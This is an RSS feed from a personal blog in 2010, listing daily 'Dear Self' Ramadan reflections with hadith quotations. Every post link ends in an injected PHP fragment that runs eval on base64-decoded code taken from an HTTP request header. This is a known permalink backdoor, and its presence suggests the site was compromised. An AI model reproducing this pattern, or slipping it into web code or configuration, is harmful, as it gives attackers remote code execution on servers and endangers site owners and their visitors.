http://www.jeewanc.com/blogs Thu, 09 Sep 2010 02:17:28 +0000 http://backend.userland.com/rss092 en My dearest brothers and sisters, Asalamu Alaikum wa rahmatullah wa barakatuhu (May the peace and blessings of God be upon you all). This being the last night of Ramadan (for my family and I), I wanted to send a personal note to say that it has been a pleasure doing the Ramadan ... http://www.jeewanc.com/blogs/2010/09/08/ramadan-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, Have you ever wondered how much God thinks about you? Perhaps a better way to think of it is to ask yourself, how much do you remember God? In another hadith qudsi, God said, "Those that remember Me in their heart, I remember them in My heart; and those ... http://www.jeewanc.com/blogs/2010/09/07/ramadan-29-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, The doors of Forgiveness are open so continue to use them during these blessed days. In a hadith of Muhammad peace be upon him, “ God says, “Oh my servants, you are all sinners except him whom I have pardoned. So ask me forgiveness, and I will forgive you. Whosoever ... http://www.jeewanc.com/blogs/2010/09/06/ramadan-28-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, Three hadith qudsi (narrations of the prophet revealed to him directly by God) to reflect upon in these last days of Ramadan. Use each moment to make a difference. (It is understood in translation that when the narrations say "son of Adam" it is in reference to all children ... http://www.jeewanc.com/blogs/2010/09/05/ramadan-27-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self,   How quickly the time is passing. Our beloved guest, the one we once anticipated so greatly is setting to depart and we are getting ready to greet the days of Eid. It makes me realize that sometimes, we focus so much on the destination that we forget to enjoy ... http://www.jeewanc.com/blogs/2010/09/03/ramadan-26-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, I can see you becoming enthusiastic now. You want to make changes and you know, with Allah’s help, you can do it. It seems like you are filling up with this energy and you just want to get out there and change everything. I am so encouraged by this ... http://www.jeewanc.com/blogs/2010/09/03/ramadan-25/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, As our beautiful guest prepares to leave us, it is important not to let tears of sadness from missing her presence obscure our vision as to why she came in the first place. You, Self, have begun to notice your inner beauty and your strength as a soul; you ... http://www.jeewanc.com/blogs/2010/09/02/ramadan24/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, We are almost nearing the end of this blessed month. You’ve abstained from food, drink and sexual gratification. I think that you’ve learned that you have much more power than you thought, haven’t you? It was filled with many opportunities for you to discover this. From the length of ... http://www.jeewanc.com/blogs/2010/09/01/ramadan-23/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, How are you? These are the last ten days and nights. The nights are filled with blessings beyond compare. I know you are tired, as these last nights require more from you than the others. But strive; and seek its bounty. Lose your ego and find your Lord in ... http://www.jeewanc.com/blogs/2010/08/31/ramadan-22-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Dear Self, You always seem to be thinking of how you can earn more so you can get more things? You think sometimes that you have to engage in activities that are prohibited because you have no choice- otherwise how will you survive? When money does not come to you as ... http://www.jeewanc.com/blogs/2010/08/30/ramadan-21-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/